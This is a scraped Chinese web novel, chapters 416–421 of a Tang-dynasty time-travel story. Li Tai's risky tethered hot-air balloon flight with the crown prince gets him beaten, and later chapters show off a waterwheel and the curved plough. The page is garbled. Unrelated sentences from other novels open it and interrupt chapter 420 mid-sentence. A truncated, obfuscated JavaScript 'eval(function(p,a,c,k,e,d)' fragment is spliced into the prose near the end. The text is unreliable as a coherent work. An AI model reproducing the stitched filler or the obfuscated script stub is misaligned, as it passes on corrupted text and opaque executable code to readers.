“啧啧,子安兄,还是你好啊。” 李承乾望着被李丽质抱着的小岁安,眼里流露出深深的羡慕。 他也想要个女儿啊。 “那还用你说?”陈衍一下子高兴了,封什么国公都是虚的,不如夸他宝贝闺女一句。 “不过承乾兄你也不用羡慕我,你还年轻嘛,跟太子妃和妾室多努努力,闺女会有的。” 他拍着李承乾的肩膀得意道。 “那就承子安兄吉言了。” 外头容颜一连等了十分钟也不见开门,愈发的肯定里面现在肯定是慢慢的全是奸情。 “两位局长来的正好,我正有事情想找二位商量一下呢!”陆飞之所以没有跟钟镇涛一起去城北郊区,正是为了等一位足够分量的人。 不过无所谓了,林涛迅速拆掉这一个巨型机器人,材料仍然扔进星戒,以免被别的乔瑟夫修复。 其实当时她共拾到三枚朱果,除了逗逗吃掉一枚之后,喂这只古寒鹫吃了一枚,还有一枚被她收了起来,不过这时,她没有说给古寒鹫知道。 而且比起其他神灵,这方天地,有几位先天尊神得天独厚,神力自然周覆一界,哪里出了什么大事,瞒谁也别想瞒过他们去。 我知道,当人们在恢复伤口的时候,都会是有痒痒的感觉,这也让我更加惊喜,代表公治舟的手臂有了作用。 “我没有……”从师尊那边传来的怒意令寻易慌了,苏婉以前也对他发过怒,而且这次的怒意并不怎么重,但在幻境中感受起来却别有不同。 江奕淳见她这样,不由苦笑起来,可视线却始终没有挪开,紧紧的黏在了她身上。 真应了连城雅致之前说的那句,‘早晚有你后悔的’,他现在就挺后悔。 她和连城雅致之间的关系不可能永远持续这种病态的包养关系,总要有走到尽头的一天。 而且隔着老远就能闻到一股焦臭味,从那些伤口处散发出来,就好像被火烧焦的塑料袋一样难闻。 可是不知道为什么,那种黑血对他有一种莫名的诱惑力。本来不想沾那玩意儿的,可是却控制不住自己的身体。而且那紫色的头发,似乎天生就会吸血。每次把域外天魔扎死了,都会顺便将其吸干。 杨昊双脚用力在地上一蹬,竟然腾空而起,像是御风而行的仙人一般,轻飘飘的窜上四五米的高空。 天魔尺内的器灵虽然看杜峰不顺眼,但也知道此刻不能暴露自己。所以特意分了 一些魔气给白骨鞭,让它变得越来越强大,腾起浓郁的黑烟遮挡住外部的视线。 “你就是吴岩吧,我们黄少爷找你有点事情,你和我们走一趟。”旁边另外一个嘴边有个痣弟子尺高气扬的说道,说完还朝中间的黄少爷哈了个腰。 克洛最终艰难的找到“红胡子”巴巴罗萨所率领的队伍,一见到巴巴罗萨那颗毛绒绒的大脑袋,便松了口气,而后双眼一翻,竟然昏厥过去。 广宁城在青枫大陆的中部,吴岩听说过,但是无量宗,和以炼体,佛功为主的宗门吴岩还是第一次听说,看来有机会自己要去走一圈了。 中年刀客毕竟也是行走江湖多年的老油条,能够看出孔雀楼和鬼堡,见识必然不错。他怎会看不出叶飞是那种世外高人。 “你都叫她们叫你安妮,那我这又算得了什么?而且连你向我道歉这么做梦的事情都发生了,还有什么做梦的事情不会发生。”芮安娜不在意道。 第416章 李承乾:太子给你当行不? “四弟,你到底要带我看什么啊,神神秘秘的!” 李承乾被李泰一路拉到县令府旁边的科研院,不由好奇问道。 “皇兄别急,你马上便能看到了。” 李泰兴冲冲地拉着李承乾踏进科研院,然后一路带他来到一处大院子里。 当李承乾进来后,立刻就傻了。 因为此刻院子里,摆放着一个堪称巨无霸的孔明灯,比寻常百姓放的那种大了不知道多少倍。 其身由五颜六色组成,看上去有点像是用丝绸做成的,球体上被一根根绳子整齐环绕,下面吊着一个巨大的篮子。 最让李承乾感到震撼的是,这巨大的孔明灯真的飞起来了,离地差不多有一米。 若不是下面被四根绳子死死拉住,李承乾毫不怀疑下一刻这孔明灯便会高高飞走。 “四弟,你.....你这!” 李承乾呆呆地愣在原地,一时间竟不知道该说什么好了。 本以为陈衍是用来忽悠李泰的,没想到李泰真做出来了。 看那四根被绷紧的绳子,李承乾心里甚至已经相信这孔明灯可以带人飞起来了。 “怎么样,皇兄!”李泰咧嘴道:“我这还行吗?” 李承乾沉默片刻,竖了个大拇指:“虽然没亲眼看它带人飞起来,但我已经开始相信了。” “相信?”李泰背负双手:“皇兄,我要的可不是你的相信,而是肯定!” “怎么样,要不要上去试试?” 李承乾:? “不不不,我还是算了吧,我这个人糊涂,怕把你好不容易做出来的孔......热气球弄坏。” 说着,他抬脚就想跑路。 李承乾可不想跟李泰玩这个,他儿子刚出生,太子之位现在稳如泰山,神经病才跑去试这热气球。 万一出事了找谁哭去? “哎!皇兄,来都来了,试试呗!”李泰哪里给他逃跑的机会,反手揽住他的肩膀,用力推着他往热气球下的篮子走。 因为离地的原因,下面还被李泰放了个阶梯,根本不用担心上去的问题。 “别别别,四弟,我刚想起来我还有事,我得回东宫了,下次,下次我跟你试试行不?”李承乾眼神惊恐,偏偏瘦胳膊瘦腿的,根本拗李泰这个胖子。 眼看自己要被推上去,他急了:“别啊,四弟,咱们有事好好说行不?我真有事要回去了,十万火急啊!” “说啥啊?”李泰不依,“你刚刚还让陈兄摆两桌呢,你没事!” “四弟,你这样,你听我说,咱们没必要亲自试啊,找几个死刑犯......” “你这是不相信我啊!”李泰不满道。 “这是我相不相信你的问题吗?我......快放我下去!”李承乾最终还是被推了上去,急匆匆就要往下爬。 却被李泰一把抓住:“来人,给我放绳子!” 话落,外面立即走出来几个人,二话不说就开始解绳子。 李承乾人都麻了,压低声音说:“这样四弟,这个太子我不当了,咱们回去跟父皇商量一下,让你来行不行?放我下去吧。” “太子?”李泰哼哼两声,面露狂热:“我现在才不稀罕当太子,我追求的是科学!” “科学你懂不懂!” 我懂你...... 李承乾很想破口大骂,但李泰好像无法被选中。 哎呦我艹啦! “升空!” 李泰哈哈大笑。 此时此刻,绳子已经被慢慢解开,他们已经在缓缓飘向空中了。 李承乾双目无神,死死抓着篮子的边缘,一动不敢动。 “皇兄,动了,动了,你看到没有,我们动了,我们飞起来了!!!” 李泰激动地浑身颤抖,比当初媳妇生了儿子还要高兴。 “陈兄没有骗我,我就知道他没有骗我!” “你们当初都不看好我,现在看到了吧?!” “我成功了!!!” 李承乾欲哭无泪。 “是是是,子安兄没有骗你,但你为什么要亲自上啊?” “找其他人先确定安全不行吗?” “怎么能让别人来试?”李泰急了:“这可是我好几个月以来的成果,当然要由我来做第一个飞起来的人!” “说实话皇兄,这热气球我恰好是昨天成功做出来的,但陈兄女儿刚出生,没空来陪我,所以我才拉上你一起享受这来之不易的殊荣!” “从今往后,史书上必将记载,贞观五年四月,越王李泰,太子李承乾征服了天空!!!” 李泰张开双手,笑声肆意而又张扬。 他做到了! 做到了当初陈衍给他描绘的未来! 而时间,仅仅过去四个月罢了! “皇兄,别瘫着了,起来看看,跟我一起看看 这美好的风景!” 李泰恨铁不成钢,走过去一把拉起李承乾。 事已至此,李承乾也清楚怕没用,强行让自己镇定下来,颤颤巍巍地站在李泰身旁。 “怎么样?皇兄!”李泰侧头问。 李承乾深吸一口气,抬眼望去,只见脚下的渭南县渐渐显露全貌,纵横交错的街道如棋盘般展露在面前,行人车马全部化作了脚下众生,远处如宫殿般大小的图书馆在晨曦中泛着光芒,隐隐约约还能看到翘角。 “这......这简直......”李承乾声音都在发抖,不知道是害怕还是激动,更找不出任何词汇来形容此时此刻。 “怎么样?是不是比在东宫批阅折子有意思多了?”李泰得意地拍了拍篮子边缘,“你看那边,那是西市!可以看到来自波斯的商队。” “那边是东市......” 忽的,热气球猛地震了一下,李承乾脸色顿时白了。 “四弟,这是怎么了?” 李泰往下看了看,淡定道:“没事,就是绳子放完了,咱们只能升这么高。” 李承乾一听放心了许多,壮着胆子看了看,才发现他们下面一直连着绳子,若是想下去的话,完全可以让下面的人把他们拉下来。 “四弟,看来你还是有把握的啊。”他心里松了口气。 李泰嘎嘎乐道:“我当然有把握了,要是没有把握,我哪里敢带你上来啊。” “万一出了意外,岂不是被李治捡大便宜吗?” 李承乾:“......” “......” 第417章 陈衍:我特么打死你! 与此同时,县令府内。 李丽质正准备去看看李世民赏赐下来的东西,刚出来,便被兴奋的兕子和城阳拦住。 “阿姐,阿姐,你看天上,好大的孔明灯啊,那是不是阿兄说的,可以带人飞起来的热气球?”兕子指着远处的天空大喊。 孔明灯? 李丽质微怔,顺着妹妹指着的方向看去,瞬间呆住了。 科研院离县令府相当近,所以她们在这里抬头就可以看到那高高飞起来的巨大热气球。 更何况热气球飞得很高,即使离得远,也可以看得很清楚。 “夫君说的是真的!皇兄......皇兄竟也真做出来了。”李丽质喃喃自语,内心震撼不已。 飞起来啊,太难以置信了。 “阿姐,我们去找阿兄吧,我也想坐那个孔明灯!”城阳公主一脸期待。 小孩子不懂那么多,只知道可以飞起来很厉害。 兕子不满道:“阿兄说啦,那个不叫孔明灯,那个叫热气球。” “好好好,不管是孔明灯还是热气球,能不能让阿兄带我们飞一次?”城阳公主继续道。 李丽质缓和一下心神,连忙带着两个妹妹找到指挥下人宰猪的陈衍。 “夫君,你看那个飞起来的孔......热气球,皇兄是不是做出来了?” “什么做出来了?”陈衍起初没听清,反应过来后,抬头一看。 “卧槽!” “这小子真做出来了啊?” 陈衍啧啧称奇。 起初他就想给李泰找件可行又足够让人感到震撼的事做,本以为李泰起码得要个一年半载才能做出来,没想到只短短四个月便做出来了。 李泰在这方面确实是个天才。 热气球说起来其实很简单,在后世如果你动手能力强,又有一定财力的话,想做出来并不难,但在这个时代可太难了。 不过...... 陈衍皱了皱眉,“他们为什么不动呢?” “夫君,你往下看看,有四根绳子拉着呢。”李丽质提醒道。 四根绳子拉着? 陈衍心里一个咯噔,定睛一瞧,立刻就慌了。 如果他没记错的话,刚刚李泰可是带走了李承乾啊。 上面的人,应该不是李泰和李承乾吧? 应该......吧? 回想起李泰当初对热气球的痴迷,陈衍 无法淡定了,一句话没来得及说,飞快朝着旁边的科研院冲过去。 兕子还以为陈衍也想去坐热气球,立即兴奋起来:“阿姐,快,我们也过去!” “好!”城阳自无不可,跟兕子迈着小短腿追了上去。 只有李丽质察觉到了一丝不对。 刚刚陈衍的表情,可不像是惊喜的样子...... “......” “下来!快特么下来!” 陈衍着急忙慌地冲进李泰平时坐热气球的地方,来不及理会旁边一些还在感慨的下人,冲着天上大喊。 “四弟,好像是子安兄在喊我们下去。” 李承乾望着下面不断挥手,试图吸引他们注意力的陈衍,有些不确定地说。 “是吗?”李泰伸头一看,大喜:“陈兄,你也想坐热气球吗?” “我坐你......大爷!!”陈衍瞬间红温,险些失去理智。 “谁特么让你用四根绳子固定的?不要命啦!!!” “赶紧给我滚下来!” 李泰笑容一僵,眨眨眼,被骂得有些不知所措。 难道,用四根绳子不行吗? “四弟,我感觉有点不对劲,子安兄好像很生气,要不咱们先下去吧?” 李承乾急忙道。 “好......好吧。”李泰此时也有点慌了,虽然热气球是他做出来的,但无论是最初的想法,还是制作过程中的难点,都是靠陈衍解决的。 所以这方面的事,他愿意相信陈衍。 李泰不敢耽误,从旁边摸出一根从上往下的绳子,用力一扯,热气球顶上的顶阀被打开,最热、最轻的空气迅速逸出,他们也在慢慢下降。 事实上,用操控火焰大小来控制热气球升空和下降会更好,但这个很难,要解决也不是没有办法,不过需要耗费的时间太多。 所以李泰灵机一动,在热气球顶端制作了一个顶阀,只要打开,就能让热气球下降。 与此同时,随着他们下降,下面的下人也在慢慢拉动绳子控制降落点,给陈衍看得一阵血压飙升。 可现在说什么都晚了,只求李泰和李承乾可以平安下降。 可能是他的祈祷起了作用,李泰和李承乾最终顺利下来。 刚下来的李泰便赶紧招呼下人去处理好火源,免得烧坏了热气球。 然而他的话刚说完,陈衍飞起一脚,就蹬在了他屁股上。 李泰都被蹬傻了,眼看陈衍红着眼睛还想揍他,李泰撒腿就跑。 “陈兄,你这是干什么?有话好好说啊!” “说?我说你大爷个腿!”陈衍咬着牙,实在是气得不行。 一个飞扑,瞬间将李泰骑在下面,抡起拳头就开砸了。 “你特么不要命了?谁让你用四根绳子的?谁让你在热气球上面开孔的?” “彼其......叔也!我特么打死你!” “哎呦,别打脸!”李泰哀嚎,只顾着捂着脸:“别打了,别打了,我错了还不行吗?” “你不是知道错了,你是知道疼了!”陈衍大怒,“今天我非得给你个教训不可!!” “啊!!!” 场面一度鸡飞狗跳,几名下人显得很是不知所措。 “太子殿下,这......” 其中一名中年男子犹豫着,主要是这几位爷他们一个也惹不起。 看这场面,连上去劝架都不敢! 李承乾也一阵后怕,挥挥手,“别......别管他们!” 而此刻,恰好兕子和城阳,以及李丽质赶过来。 一来便看到常威在打来福,顿时懵了。 李丽质意识到了不对,心里多了些猜想,没上去劝架,反而捂住两个妹妹的眼睛,拉着两个小家伙退了出去。 “知道错了没?”陈衍骑在李泰身上,神色冰冷。 “错了,错了!”李泰望着那沙包一样大的拳头,哪还敢反驳什么?连忙认错。 陈衍长叹,又朝李泰胸口来了一拳,“你们俩特么今天是捡回一条命啊,赶紧回去给你们列祖列宗好好磕一个吧。” “我估摸着他们在下面也磕疯了。” “......” 第418章 越王,你不要怪我啊!我也很痛心的! “不是,陈兄,为什么啊。” 眼看陈衍冷静下来,李泰委屈发问。 自己成功做出了热气球,不夸奖就算了,上来一个左正蹬算怎么回事? 四根绳子不是能固定得更好吗? 听到里面动静小下来,李丽质悄无声息地带着两个妹妹重新回来。 陈衍没注意到她们,起身拍了拍自己身上的灰尘,淡淡解释道:“对于锚定热气球来说,绳子不是越多越好,相反,绳子越多反倒越危险。” “因为绳子数量一多,各种意外都有可能发生,如果硬要锚定,那用一根特制绳子才是最好的。” “再者,你竟然傻到在热气球顶部开顶阀,目前的材料支持你这么做吗?你能控制这样做带来的不确定因素吗?” “飞上天几十层楼高,万一出点意外就是粉身碎骨的下场,说你们捡回一条命真不是开玩笑。” “具体的原理等有空了咱们慢慢跟你解释,反正你只要知道你今天挨这顿打不冤枉就行了。” 李泰:“......” 李泰有些怀疑人生,自己和李承乾明明很安全啊,真有陈衍说的那么危险吗? “四弟啊,你.....哎,你让我说你什么好。”李承乾欲言又止,最终还是没说什么不好的话。 毕竟都挨了陈衍一顿打,自己心里那点气也出了。 李承乾一开口,李泰瞬间意识到了什么。 “皇兄,能否答应我一件事?” 李承乾黑着脸。 还答应你一件事,你咋不上天呢? 带着我玩命,你还想让我答应你什么? “别想了,四弟,你今天干的事确实太危险了!” 李承乾怕李泰纠缠,赶紧快步跑了。 “子安兄,我先去渭南县看看,晚点回来!” 陈衍面色古怪,李丽质亦是差不多的表情,两人对视一眼,纷纷意识到了什么。 李泰也猜到了,面如死灰地重新躺下来。 “......” 从科研院出来,李承乾赶紧坐上自己的马车,一路催促车夫,快马加鞭地赶回皇宫。 然后直奔甘露殿,想找到李世民。 却不曾想,他不仅找到了李世民,还找到了长孙皇后。 更让他意外的是,两人带着小妹,一副普通人打扮,显然是要出宫啊。 “父皇,母后,你们这是.... ..”李承乾茫然道。 李世民同样意外:“你怎么这么快回来了?” 按理来说,李承乾辛苦了这么久,好不容易有机会可以偷偷懒,怎么会这么快从渭南县回来? 不得好好玩一天? 李承乾这才想起正事,连忙道:“回父皇,儿臣将圣旨送到之后,子......渭国公说稍微庆祝一下,邀请一些好友聚聚,儿臣原本是想留下的。” “但四弟成功造出了可以带人飞上天的热气球,儿臣觉得这热气球作用不小,便想着先回来禀报父皇。” “你说什么?”李世民一听,急忙冲了过来。 “泰儿真的将陈小子说的热气球造出来了?” “可以带人飞上天那种热气球?” 长孙皇后同样颇为惊讶,美眸好奇地看着儿子。 李承乾苦笑道:“确实造出来了,昨天刚造出来的,四弟还带儿臣飞了一次。” “不过......渭国公倒是很生气,甚至已经急眼了,下来之后将四弟狠狠揍了一顿。” 此话一出,李世民和长孙皇后面面相觑,两人都有些懵。 “承乾,你是说,子安将泰儿揍了一顿?”长孙皇后迟疑着问。 她有点不相信陈衍会做这种事。 要知道李泰再怎么样都是皇子,还是嫡系皇子,以陈衍的性格,再怎么样都不至于打李泰吧? 李承乾低着头,沉默道:“四弟确实做出了可以带人飞上天的热气球,但子安兄说四弟做得并不好,甚至很危险......” 话未说完,但李世民夫妇已经理解他的意思了。 如果两人没记错的话,刚刚李承乾说,李泰还把他拉了上去! 一想到出现意外的后果,长孙皇后只觉得一阵头晕目眩,神色一下子冷了下来,咬牙道:“打,是该打!” “二郎,带臣妾去,臣妾亲自打!” 李世民面色铁青:“好,正好咱们要过去,老四确实有点不像话了!” 飞上天,初次听起来确实很激动。 但转瞬一想,飞起来不同样很危险吗?若太高的话,万一摔下来,他李世民的太子和四子还有命活? 更何况,这已经不单单是他们的家事了,一想到失去太子以及李泰的后果,李世民恨不得现在就飞过去给李泰一巴掌。 “承乾,走!跟朕出宫,去渭南县!” 李世民当机立断,带着妻子、儿 子女儿准备出宫。 李承乾望着父母压抑着怒气的表情,心里默默替李泰默哀。 李泰确实有点莽了,这次是运气好,两人捡回一条命,如果下次呢? 要是出了什么意外可怎么办? 运气难道会一直眷顾他们吗? 李承乾倒也不是想告状,而是此事根本瞒不住,与其等待李世民自己收到消息然后暴打李泰,不如自己先说出来,一家人关上门慢慢解决。 一家人动作很快,在李世民的催促下,赶在午饭前,他们已经到了县令府门口。 李世民跟长孙皇后冷着脸走进去,李承乾抱着妹妹小心翼翼地跟在身后。 期间遇到了忙碌的青儿,李世民问了问李泰他们的位置,然后直奔李泰的住处。 一走近,便听到一阵哭哭啼啼的声音。 长孙皇后心里一沉。 这是自己四儿媳的声音啊。 李世民二话不说推开门,只见陈衍、李丽质、李泰都在场,而越王妃已经哭得泣不成声。 看到他们两人的到来,在场众人懵了一下,然后立即起身。 “免礼!” 李世民一挥手,直奔李泰而去。 李泰见势不妙,起身便跑:“父皇,您怎么来了?有话好好说啊!” “说什么?”长孙皇后呵斥,“子安,给本宫抓住他!” 陈衍眼睛一亮,一把拦住逃跑的李泰,在后者不可置信的目光中,故作为难:“越王,你不要怪我啊!我也很痛心的!” 李泰:“......” “......” 第419章 曲辕犁 “这就是你的热气球?” 李世民好奇地走过去,捏了捏已经收好的热气球。 “是啊,父皇!” 说起这个,全身酸痛的李泰兴冲冲地过来给李世民各种介绍。 李世民起初听得还津津有味,到后面一瞧李泰那副得意的表情,顿时气不打一处来。 “你还得意上了?这么危险的事你自己干也就罢了,还非得带上你皇兄,朕......” “别别别,别说了,父皇。”李泰苦着脸,“儿臣都已经挨了您一顿揍了,错也认了,也保证以后不干这么危险的事了,要不就算了吧。” 长孙皇后叹气,上前语重心长道:“泰儿啊,你已经这么大个人了,不是个小孩子了,你有妻子,有孩子,做任何事情,你不能由着自己的性子来,得先考虑一下身后的人啊。” “你做出热气球,这确实是大功一件,但你未曾经过任何试验,便亲自上阵,还带上了你皇兄,你说,你们要是出点什么事,你让母后怎么办?你让语儿和欣儿他们怎么办?” 李泰回头看了眼仍旧气上心头的越王妃和儿子,垂头丧气道:“我明白了母后,我保证我以后不做这么危险的事了。” “好孩子。”如此,长孙皇后才彻底放心下来。 然而,在背后,陈衍暗戳戳凑到越王妃身旁,“我了解你家这货,他以后绝对还敢干这种事,你晚上回家再削他一顿,让他长长记性。” 越王妃:“......” 本来她还有点生气,但听见这话,顿时哭笑不得。 李泰今天都挨两顿胖揍,好几顿数落了,还不够啊? “行啦!”李世民没好气道:“说那么大声,是生怕我们听不见吗?你就别拱火了。” 他随手揭过此事,饶有兴趣道:“泰儿,让人把这热气球点燃看看,朕好亲眼瞧瞧它是否有你们说的那么神奇。” “好嘞!”李泰多云转晴,腰也不疼了,腿也不酸了,屁颠屁颠去招呼人准备点燃热气球。 要说这热气球重新点燃确实够麻烦的,十几个人费了好大劲才让热气球重新飘起来。 跟李承乾第一次看到一样,被四根绳子牢牢固定在离地一米处。 李世民用手摸了摸其中一根绳子,啧啧称奇,“确实够神奇的,子安想法虽然奇特,却也不是无故放矢,这热气球若是能在战场上使用,说不定有奇效。” 长孙皇后上前摸了摸吊篮,惊叹道: “真能飞起来啊,看里面的空间,足够带上好几个人了吧?” 夫妻俩围着热气球展开了热议,连越王妃都颇为好奇地凑过来。 生气归生气,但对自家男人花了好几个月做出来的东西,肯定是想多看看的。 等看完了热气球,众人走出李泰做热气球的地方,李世民打量着周围,“子安,你建这所谓的科研院,应该就是用来造这些稀奇古怪的东西的吧?” “那当然不是!”陈衍摇头,笑道:“我建造科研院,造的可都是对天下进步有作用的东西。” “比如上次您看的马蹄铁、陌刀、玄夜铠,都是科研院里打造出来的。” “哦?”长孙皇后来了兴趣。 自从上次李世民从渭南县回去之后,还带回了一副马蹄铁,在她面前大肆夸赞过,包括陌刀、玄夜铠等武器装备亦是如此。 她早就好奇这些东西是怎么打造出来的了,没想到竟然就是这个地方。 “陛下,殿下,要不随我逛逛?” 陈衍邀请道:“最近科研院按照我的要求,又打造出了几件在外看来相当有用的东西,正好趁着这个时间给您二位看看。” “后面可能还需要您帮忙推广出去呢。” “行,那就逛逛!”李世民今天原本是想来看看外孙女的,但陈衍既然这么说了,那就先看看科研院吧。 “那请跟我来。” 陈衍伸手做了请的手势,然后为众人带起路来。 不多时,他们来到一间占地颇大的房屋前,陈衍带着他们走进去,“陛下,这里是制造部,科研院里很多东西都是由他们制作出来的。” “例如我们的水力纺织机,便是由他们制作出来的。” “今天咱们要看的是水力纺织机的衍生物品,筒车的优化物——水车!” 陈衍挥手让里面的人不要管他们,带着李世民他们来到一架大水车面前。 李世民对此很是看重,仔细看了看陈衍制造出来的水车,欣然点头:“看上去确实挺像那么回事,比从前的筒车好多了,如果能推广开,百姓灌溉农田想必可以轻松不少。” 对于李世民这位极其重视农业的皇帝来说,水车的出现无疑是有重大意义的,但陈衍带给他的惊喜实在太多,他现在已经能以平常心对待,不会跟从前一样表现得有些失态了。 而长孙皇后虽然同样很看重水车,可相比之下,她的注意力更多的是放在远处那群正在组装水力纺 织机的工人身上。 女人嘛,对这些东西好奇心难免会更重,长孙皇后也不例外。 “咦,子安,这是什么?” 忽然,李世民注意到水车旁边造型特殊的犁,指着它问。 陈衍顺着他指的方向看去,了然一笑:“回陛下,这是曲辕犁,这可是今天的重量级物品。” “如果说水车只是锦上添花,那么曲辕犁的出现,对目前的农耕是颠覆性的!” 李世民神色郑重下来,直直盯着他,等待他的解释。 “耳听为虚,眼见为实,我说再多,不如陛下亲眼一见!”陈衍扭头叫来陶大叔,“准备一下,我需要试试曲辕犁!” “国公爷,这个不需要准备,咱们后面空地有一头牛,套上就能用。” “行,那你跟我来!” 说着,陈衍示意李世民他们跟自己走,陶大叔也跟了上来。 来到一片空地前,只见一头壮实的老黄牛正悠闲地甩着尾巴。陶大叔手脚麻利地把曲辕犁套好。 “陛下,我给您展示一下。”陈衍说着准备动手,却被李世民拦住了。 “不用,朕亲自来试!” “......” 第420章 种十多万亩棉花 相比于传统庞大笨重的直犁,陈衍拿出来的曲辕犁是弯曲的,而且小巧、灵活,更短。 李世民经过陈衍的指点,很快就上手了,赶着耕牛行动的那一刻,他瞬间便明白陈衍为什么说曲辕犁带来的改变是颠覆性的了。 明明只用一头牛,而且在这样干燥的土地上,竟然如此轻松便被拉动,泥土顷刻间被翻出来。 相比之下,需要两头耕牛才能拉动,且费时费力的直犁简直一无是处。 李世民 王金一直盯着德罗赞,他似乎已经看到德罗赞嘴角露出的一丝笑意。 自从战队组成之后,徐达这个队长就负责一切的人,而他们只是在配合徐达而已。 这些尸体留在这里应该也没什么问题,这附近有不少的野兽,就让它们填饱肚子吧。 被打了两枪后又躲在了一块石头后面,终于封了一颗烟在林东身边。 一个晴朗的丽日,方远施展飞行绝技,飞出山洞,来到悬崖边上找了一处清泉,洗了个澡,将身上破烂的衣服换成了兽皮衣。 匀称男把那部手机扔回储物格,下车后和他一起进了那栋板楼,来到五层的某户人家门前。 “混蛋!到底是谁?敢跟老子抢股权!真特么不想活了!你给老子等着!等老子查出你是谁,我非要宰了你!我都给你们杀了!”郑有为一边砸着东西一边怒吼。 安沐不明白妈妈说的这句话到底是什么意思,可是她知道妈妈因为这件事情非常的生气。 阎罗王看着曾经堂堂的天篷水神沦落至此,心中别提多舒畅了,后来再看到这家伙跑去投靠佛界,结果佛界也不待见它,阎罗王终于是满意了。 刚说完,他光秃秃的脑袋上就挨了一枪,吓得他连忙将枪口对准了唐皓,疯狂扫射。 但即便是这么轻微的毒性在考生们自我恐吓的心理作用下就使得他们自己认为自己中了毒随之出现的就是中毒恐惧症。 疾驰的马蹄声震彻苍穹,所有正派人士浩浩荡荡的向着少林奔去。不知是为了追杀那欺师灭祖的男子,还是争夺那万人敬仰的武林盟主? 这尸阴山很邪门,不过这尸阴山之中,有着一种特殊的灵物,化名尸阴果!虽然这名字听起来有点渗人,但是这尸阴果可是连大帝都要为之疯狂的灵物! 多罗原本以为这是一种大规模魔法所造成的效果,想不到竟然是这面巨鼓所出。 。董占云一声大喝道:“十方冥界之勾魂摄魄~!” 说完,阴阳分身与董占云融合在一起,董占云面前出现一个黑白色的骷髅祭坛,黑色的祭坛,白色的魂灯。每个魂灯上面都刻画着一个栩栩如生的骷髅,仿佛对着众人咆哮。 “到底他为什么忽然想要去玩命的?”瓦伦泰皱紧了眉头,将灼灼目光盯在夜廖莎的脸上。 更加出人意料的话出现了,那方晴竟然也是冷哼一声放弃了雪猪的竞价。 花容虞大怒,见此,云峰也是一阵的头疼,不过之前周渊说的那逍遥派,却引起了他的注意,逍遥派?是那个家伙的宗派? “子玉兄,这酒哇,我是再不喝了,身体遭罪不说还误事”陈宁不好意思道。 她是那么地相信双扬的感情,那么相信双扬的感情会地老天荒,现在怎么能冒出这么一件事情?怎么能把飞扬姐伤得那么深? 没有说梦想,更没有说说其他,薛暖的回答让老人忍不住微微一愣,下意识看向战忠,战忠弯了弯身子在老人的耳边说了两句,老人眸底诧异浮起,下意识再次看向薛暖。 第421章 高阳心事 “你有你的规划,这很好,但朕却不能让你吃了亏。” 李世民思忖片刻,说道:“这样吧,你把棉花种子交给朕,由朝廷直接组织人手种植。” “等棉花收获后,全部交给你来制作棉衣棉被,该你赚的钱,你照赚就好。” “真的不用了。”陈衍婉拒道,“陛下,民以食为天,粮食才是一个国家的根基,您掌握的田地虽多,但如今大唐许多地方的百姓仍缺粮果腹。” “不如就按原计划,让我来种棉花。反正我这儿小门小户的,自己人也消耗不了太多粮食。” “当初要这么多地,本就是为了种棉花,临时改变计划反而不妥。” 李世民还想再劝,陈衍却抢先一步,诚恳地说:“陛下,我明白您的意思,您是怕我出钱出地,最后忙活一场却没赚到什么,吃了亏。” “但账不能只这么算,我不是早就跟您说过吗?‘穷则独善其身,达则兼济天下’。” “如今我有了些能力,您总得给我一个机会,为我生活的这片土地,为我所敬佩的君主分忧解难吧?” 他说最后一句话时,语气带着几分玩笑,但在场的人却没有一个笑得出来,反而神色动容。 李世民闻言,感慨地长叹一声,神色转为郑重:“既然你心意已决,朕便不再多劝了,倘若过程中遇到任何困难,随时给朕传信!” “好!”陈衍笑着应承下来。 李世民又提起另外一件事,“种棉花就这么决定了,那曲辕犁,你认为该如何推广效果最好?” “这还用问吗?”陈衍当即乐道:“当然是大唐民报啊!” “只要将曲辕犁的具体用法、效果全部写在报纸上,画出一个样图给百姓看,然后用官府的名义贴上告示,让人好好宣传一下,不怕百姓不知道。” “当然!”他转而说:“这种东西是不能送的,绝不能让百姓养成可以不劳而获的思想,以工代赈这种计策实际上是可以用于方方面面的,直接在各地售卖即可。” “若百姓买不起,可以用租赁的方式,相信世界上也没人 敢欠您的东西。” “嗯!”李世民重重点头,经过这么长时间,他越来越能体会到以工代赈的高明了。 这一点从几乎一月一个样的渭南县就能看得出来。 而且最初陈衍提起的经济流通,他多少也看得出一点门道了。比如说,从表面上看陈衍一直在大肆撒钱,无论是修路的苦力,工坊的工人,甚至一个守门的护卫,陈衍给的工钱都相当高。 但百姓们赚了钱总要花出去。 以前日子紧巴巴,现在宽裕了,扯几尺好布给家人做身新衣裳,很合理吧? 赶上节日或丰收,买点肉、打点酒,吃顿好的改善生活,不过分吧? 手里有了余钱,想着送孩子去学堂认几个字,更是人之常情吧? 这钱就这么从陈衍手里流到百姓手里,又从百姓手里流到布商、酒肆、学堂.在整个渭南县循环流动起来,仿佛一潭死水被注入了活力,重新流动了起来。 如此奇妙的循环,给了李世民不小的震撼。 也在那个时候,他彻底明白为什么李淳风、袁天罡这两位奇人异士愿意叫陈衍一句先生,甚至被忽悠着去带兵也只有表面怨言了。 “曲辕犁的推广,就按照你的方法来吧,具体细节朕回头跟克明他们好好商议商议,争取早些拿出来。”李世民当即说。 陈衍点头,“回头您走的时候,我将曲辕犁的图纸给您,您让工部的人按照图纸打造就好,这个很简单的,不用教。” 李世民顿了顿,笑着问:“这可是你自己说的,朕可没有要求你拿出来。还有,朕丑话说在前头,前两天给的赏赐不小了,朕短时间内可给不了你太多赏赐。” “如果你想要免死金牌的话,朕倒是可以给你打造几块!” 陈衍:“.” 李世民的话一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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长孙皇后之所以这样问,不是没有原因的。 因为目前陈衍、高阳、李丽质三人虽然已经成亲,但其实还有一个很关键的问题没有解决。 那就是李丽质和高阳两人,到底谁才是正妻? 按理来说,李丽质身为嫡公主,身份比高阳高,做正妻没问题。 可李丽质却是半路插手,在陈衍和高阳订婚之后硬生生**去。 而在李丽质嫁给陈衍之前,高阳才是那个当之无愧的正妻。 因此,在李丽质嫁给陈衍之后,关于正妻的位置一直没有一个定论。 而根据宗法制度,立嫡以长,不以贤;立子以贵,不以长。 意思就是说,嫡长子首先看的是母亲的身份,母亲是正妻,那长子才是嫡长子,例如李承乾。 倘若高阳生下来的是儿子,在如此较为特殊又尴尬的情况下,那生下来的儿子必定是嫡长子了。 如此一来,高阳便是正妻,可以压李丽质一头。 